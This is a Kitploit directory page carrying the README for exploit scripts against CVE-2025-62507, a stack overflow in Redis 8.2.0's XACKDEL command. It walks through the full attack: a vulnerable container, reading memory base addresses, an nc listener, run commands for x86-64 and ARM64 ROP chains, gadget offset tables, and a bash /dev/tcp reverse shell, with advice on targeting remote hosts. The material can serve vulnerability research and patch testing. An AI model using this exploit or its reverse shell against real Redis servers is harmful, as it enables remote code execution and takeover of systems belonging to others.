Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
redis-cve-2025-62507 | Kitploit
Ferramentas/GitHubGitHub/gartonchan/redis-cve-2025-62507
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoEngenharia ReversaShellcodeDepuradoresAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHubgartonchan/redis-cve-2025-62507

redis-cve-2025-62507

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Scripts de Exploit — CVE-2025-62507

Estrutura de diretórios

root@kitploit:~
scripts/
├── exploit_x86.py          # x86-64 ROP exploit
├── exploit_arm64.py        # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh     # GDB 调试辅助脚本

Resumo da vulnerabilidade

ItemDescrição
CVECVE-2025-62507
Tipo de vulnerabilidadeEstouro de buffer de pilha (Stack Buffer Overflow)
Componente afetadoFunção xackdelCommand do Redis 8.2.0
Forma de disparoComando XACKDEL com mais de 52 streamIDs
Técnica de exploraçãoCadeia ROP → mprotect para liberar permissão de execução na pilha → shellcode com reverse shell
DependênciasPython 3 (apenas biblioteca padrão, sem instalação adicional)

Pré-requisitos

  1. Ambiente alvo: contêiner Docker ou host executando Redis 8.2.0 (versão vulnerável)
  2. Terminal de escuta: a máquina atacante precisa iniciar nc -lvnp 4444 antecipadamente para aguardar o reverse shell
  3. Permissão para obter endereços: é necessário conseguir ler /proc/<PID>/maps do processo alvo (permissão root)
  4. Python 3: ambos os scripts de exploit usam apenas a biblioteca padrão (socket, struct, time, sys)

Início rápido

1. Iniciar o contêiner Redis vulnerável

root@kitploit:~
# 在项目根目录执行
docker compose -f docker-compose-vulnerable.yml up -d

# 确认容器运行
docker ps | grep redis-cve-2025-62507

2. Obter os endereços de memória críticos

root@kitploit:~
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# x86-64 地址获取
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)

echo "REDIS_BASE=$REDIS_BASE  LIBC_BASE=$LIBC_BASE  STACK_ADDR=$STACK_ADDR"

Nota: os endereços mudam após cada reinicialização do contêiner (ASLR), sendo necessário obtê-los novamente.

3. Iniciar o listener do reverse shell

root@kitploit:~
# 在宿主机另开一个终端
nc -lvnp 4444

4. Executar o exploit

root@kitploit:~
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR

# ARM64 (Docker QEMU 固定地址, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]

exploit_x86.py — Exploit ROP x86-64

Uso

root@kitploit:~
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>

Descrição dos parâmetros

Arquitetura da cadeia ROP

root@kitploit:~
52 个填充 ID (1-1)
  │
  ▼
ID#53  overflow ──→ pop rdi; ret     (redis + 0x82327)
ID#54             ──→ pop rsi; ret     (redis + 0x86416)
ID#55             ──→ pop rdx; ret     (redis + 0xba1e2)
ID#56             ──→ mprotect()       (libc  + 0x1019e0)
ID#57             ──→ call rsp         (redis + 0x9486d)
ID#58+            ──→ shellcode ──→ system("/bin/bash -c '...'")

Offsets dos gadgets (redis-server-8.2.0)

Personalizar o endereço do reverse shell

A variável reverse_shell_cmd é definida na linha 149 do script, com o seguinte valor padrão:

root@kitploit:~
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"

Como modificar: edite exploit_x86.py, localize a linha reverse_shell_cmd e substitua o IP e a porta:

Para alterar a porta: substitua o 4444 em /dev/tcp/<IP>/4444 pela porta real de escuta.

stack_page é calculado dinamicamente a partir do parâmetro stack_addr: (stack_addr + 0x1000) & ~0xFFF, garantindo que a janela do mprotect cubra a região da pilha onde o shellcode está. Se o layout da pilha estiver anormal, ajuste de acordo.


exploit_arm64.py — Exploit ROP ARM64

Uso

root@kitploit:~
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]

Descrição dos parâmetros

Nota ARM64: stack_addr é o valor de SP na entrada de xackdelCommand (não é o endereço inicial do segmento [stack]!). static_ids[0] = stack_addr - 0x310, e o x30 salvo de call() está em stack_addr + 8 (ou seja, static_ids[49].seq).

Arquitetura da cadeia ROP

root@kitploit:~
49 个填充 ID (1-1)
  │
  ▼
ID#49-58  call() 尾声帧 (10 IDs) — 覆盖 call() 保存的寄存器和局部变量
  │  #49: saved x29 (dummy) + x30 (G5)
  │  #50: saved x19/x20, #51: saved x21(=0)/x22
  │  #52: x23/x24, #53: x25/x26, #54: x27/x28
  │  #55-58: 局部变量 (设为 0)
  │
  ▼  call() ret → SP = stack_addr + 0xa0
  │
ID#59-61  Step 1: G5              (redis + 0x1a4d40)  x0=writable,    → G_SET_X2_7
ID#62-65  Step 2: G_SET_X2_7      (redis + 0x1d7a84)  w2=7,           → LDR_X1_SIDELOAD
ID#66-67  Step 3: LDR_X1_SIDELOAD (libc  + 0x34ab4)   x1=0x1000,      → G5
ID#68-70  Step 4: G5              (redis + 0x1a4d40)  x19=mprotect,   → MOV_X3_X19
ID#71-93  Step 5: MOV_X3_X19      (redis + 0x2948b0)  x3=mprotect,    → LDR_X0_CLEAN
ID#94-95  Step 6: LDR_X0_CLEAN    (libc  + 0x6ae40)   x0=stack_page,  → BLR_X3
ID#96-98  Step 7: BLR_X3          (redis + 0x92bc4)   call mprotect   → shellcode
ID#99+    shellcode — system("/bin/bash -c 'reverse_shell_cmd'")

Importante: o epílogo de call() restaura x19-x28 da pilha e lê diversas variáveis locais antes de ret. Os IDs #49-58 precisam conter valores seguros, caso contrário o epílogo falhará durante a execução. A cadeia ROP começa no ID#59 (posição de SP após o ret de call()).

Offsets dos gadgets (redis-server-8.2.0-arm64)

Offsets dos gadgets (libc.so.6-arm64, dentro do contêiner Docker)

Nota: LDR_X1_SIDELOAD tem o efeito colateral mov x0, x1; após a execução, x0 será sobrescrito por x1! Será necessário redefinir x0 posteriormente com G5 ou LDR_X0_CLEAN.

Personalizar o endereço do reverse shell

reverse_shell_cmd é construído dinamicamente na função build_exploit_arm64(), com base nos parâmetros rev_shell_host e rev_shell_port:

root@kitploit:~
reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"

Método recomendado: especificar o endereço do reverse shell por meio de argumentos de linha de comando:

root@kitploit:~
# 默认: 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0

# 自定义反弹地址和端口:
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
#                                                                    ^^^^^^^^ ^^^^ ^^^^^^^^^^
#                                                                    rev_host rev_port target

Modificação direta: edite exploit_arm64.py, alterando os valores padrão dos parâmetros da função exploit():


Depuração com GDB

Usar gdb_with_symbols.sh

root@kitploit:~
# 获取 Redis PID
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# 启动 GDB 并自动设置断点
./scripts/gdb_with_symbols.sh $REDIS_PID

O script automaticamente:

  1. Carrega a tabela de símbolos de binaries/redis-server-8.2.0
  2. Define um breakpoint em xackdelCommand
  3. Define um breakpoint em mprotect
  4. Define um breakpoint em system

Posições-chave dos breakpoints

root@kitploit:~
# xackdelCommand 入口 — 观察正常栈布局
break xackdelCommand

# 第 53 个 streamID 写入后 — 观察返回地址被覆写
# (在循环体内设置条件断点)

# mprotect 调用前 — 验证参数 rdi/rsi/rdx
break mprotect

# system 调用前 — 验证 rdi 指向命令字符串
break system

Verificar etapas-chave do exploit

root@kitploit:~
# 1. 进入 xackdelCommand 后,找到 static_ids 数组位置
(gdb) x/10gx $rbp - 0x340      # x86-64
(gdb) x/10gx $sp                # ARM64

# 2. mprotect 断点触发时,验证参数
(gdb) info registers rdi rsi rdx   # x86-64
(gdb) info registers x0 x1 x2      # ARM64

# 预期: rdi/x0=stack_page, rsi/x1=0x20000, rdx/x2=7

# 3. mprotect 返回后,检查 RAX/X0 (=0 表示成功)
(gdb) finish
(gdb) info registers rax           # x86-64
(gdb) info registers x0            # ARM64

# 4. 观察 shellcode 执行
(gdb) x/20i $rsp                   # x86-64: call rsp 后的 shellcode
(gdb) x/20i $x30                   # ARM64: 跳转前的返回地址

Solução de problemas


Limpeza do ambiente

root@kitploit:~
# 停止并删除容器
docker compose -f docker-compose-vulnerable.yml down

Referência de arquivos

Baixar ferramenta
ParâmetroSignificadoComo obterExemplo de valor
redis_baseEndereço base do ELF do redis-serverEndereço inicial do primeiro segmento redis-server em /proc/PID/maps0x555555554000
libc_baseEndereço base do libc.so.6Endereço inicial do primeiro segmento libc.so em /proc/PID/maps0x7ffff75b3000
stack_addrEndereço inicial do segmento da pilha da threadEndereço inicial do segmento [stack] em /proc/PID/maps0x7ffffffde000
GadgetOffsetDescrição
pop rdi; ret0x82327Define o 1º argumento do mprotect (addr)
pop rsi; ret0x86416Define o 2º argumento do mprotect (len)
pop rdx; ret0xba1e2Define o 3º argumento do mprotect (prot)
call rsp0x9486dSalta para o shellcode na pilha
mprotect (libc)0x1019e0Libera a página de pilha como RWX
system (libc)0x4c490Executa o comando do reverse shell
CenárioIPDescrição
Rede host do Docker (padrão)127.0.0.1O contêiner compartilha a pilha de rede com o host; 127.0.0.1 é o host
Rede bridge do Docker172.17.0.1Gateway bridge padrão, aponta para o host
Ataque remoto<IP público da máquina atacante>O alvo precisa conseguir rotear até a porta correspondente na máquina atacante
ParâmetroSignificadoComo obterExemplo de valor
redis_baseEndereço base do ELF redis-server-8.2.0-arm64Endereço inicial do primeiro segmento redis-server em /proc/PID/maps0xaaaaaaaa0000
libc_baseEndereço base do libc.so.6-arm64Endereço inicial do primeiro segmento libc.so em /proc/PID/maps0xfffff7630000
stack_addrValor de SP na entrada de xackdelCommand (da análise com GDB)Observar o SP de entrada de xackdelCommand com breakpoint no GDB0xfffffffff7e0
rev_host(Opcional) IP da máquina atacante para o reverse shell—192.168.1.1
rev_port(Opcional) Porta de escuta do reverse shell—4444
target(Opcional) IP do Redis alvo—192.168.1.129
GadgetOffsetFunçãoConsumo de pilha
G5 (ldp x19,x20 + ldr x0)0x1a4d40Carrega x19, x0 da pilha0x30 (3 IDs)
G_SET_X2_70x1d7a84Define w2=7, w1=-1 (efeito colateral)0x40 (4 IDs)
MOV_X3_X190x2948b0x3 = x19 (mprotect), sobrescreve x00x170 (23 IDs)
BLR_X30x92bc4blr x3; chama mprotect0x30 (3 IDs)
GadgetOffsetFunçãoConsumo de pilha
LDR_X1_SIDELOAD0x34ab4ldr x1,[sp,#0x18]; mov x0,x1 (efeito colateral!)0x20 (2 IDs)
LDR_X0_CLEAN0x6ae40ldr x0,[sp,#0x18]; sem efeitos colaterais0x20 (2 IDs)
mprotect0xe3ac0Altera permissões de memória-
system0x49c24Executa comando shell-
CenárioIPDescrição
Rede host do Docker127.0.0.1O contêiner compartilha a pilha de rede com o host; 127.0.0.1 é o host
Rede bridge do Docker172.17.0.1Gateway bridge padrão, aponta para o host
Máquina virtual QEMU192.168.1.1Endereço do host na rede QEMU
Ataque remoto<IP público da máquina atacante>O alvo precisa conseguir rotear até a porta correspondente na máquina atacante
SintomaCausa possívelSolução
ConnectionRefusedErrorRedis não iniciado ou porta incorretaUse docker ps para confirmar o estado do contêiner e verifique a porta 6379
Redis não trava, responde PONGQuantidade de preenchimento insuficiente, endereço de retorno não sobrescritoConfirme o uso da quantidade correta de IDs de preenchimento (x86: 52, ARM64: 49) e verifique se a versão do binário é compatível
Redis trava, mas nc não conectaErro no cálculo de endereçosObtenha novamente /proc/PID/maps e valide se os offsets dos gadgets correspondem ao binário correto
Falha de parsing em streamParseStrictIDOrReplyFormato de streamID inválidoGaranta o uso do formato ms-seq (inteiro sem sinal), evitando números negativos que geram -- duplo
mprotect retorna valor diferente de 0Endereço de pilha não alinhado à página ou intervalo inválidoVerifique se stack_page está alinhado a 0x1000
ARM64: falha em str w2, [x0]x0 de G_SET_X2_7 não aponta para memória gravávelConfirme se writable_addr aponta para uma região de pilha mapeada
nc desconecta repetidamenteIP:Porta incorretos no shellcodeModifique reverse_shell_cmd no script, alterando o IP para um endereço alcançável pela máquina atacante
ArquivoDescrição
scripts/exploit_x86.pyExploit RCE final para x86-64
scripts/exploit_arm64.pyExploit RCE para ARM64 (AArch64)
scripts/gdb_with_symbols.shScript auxiliar para carregamento de símbolos e breakpoints no GDB
docker-compose-vulnerable.ymlOrquestração do contêiner Redis 8.2.0 vulnerável
binaries/redis-server-8.2.0ELF do Redis x86-64 (com tabela de símbolos)
binaries/redis-server-8.2.0-arm64ELF do Redis ARM64 (com tabela de símbolos)
binaries/libc.so.6libc x86-64
binaries/libc.so.6-arm64libc ARM64
docs/X86_CVE-2025-62507_EXPLOITATION_DETAIL.mdDetalhamento técnico completo da exploração em x86-64
docs/ARM64_GADGET_CATALOG.mdCatálogo completo de gadgets ROP ARM64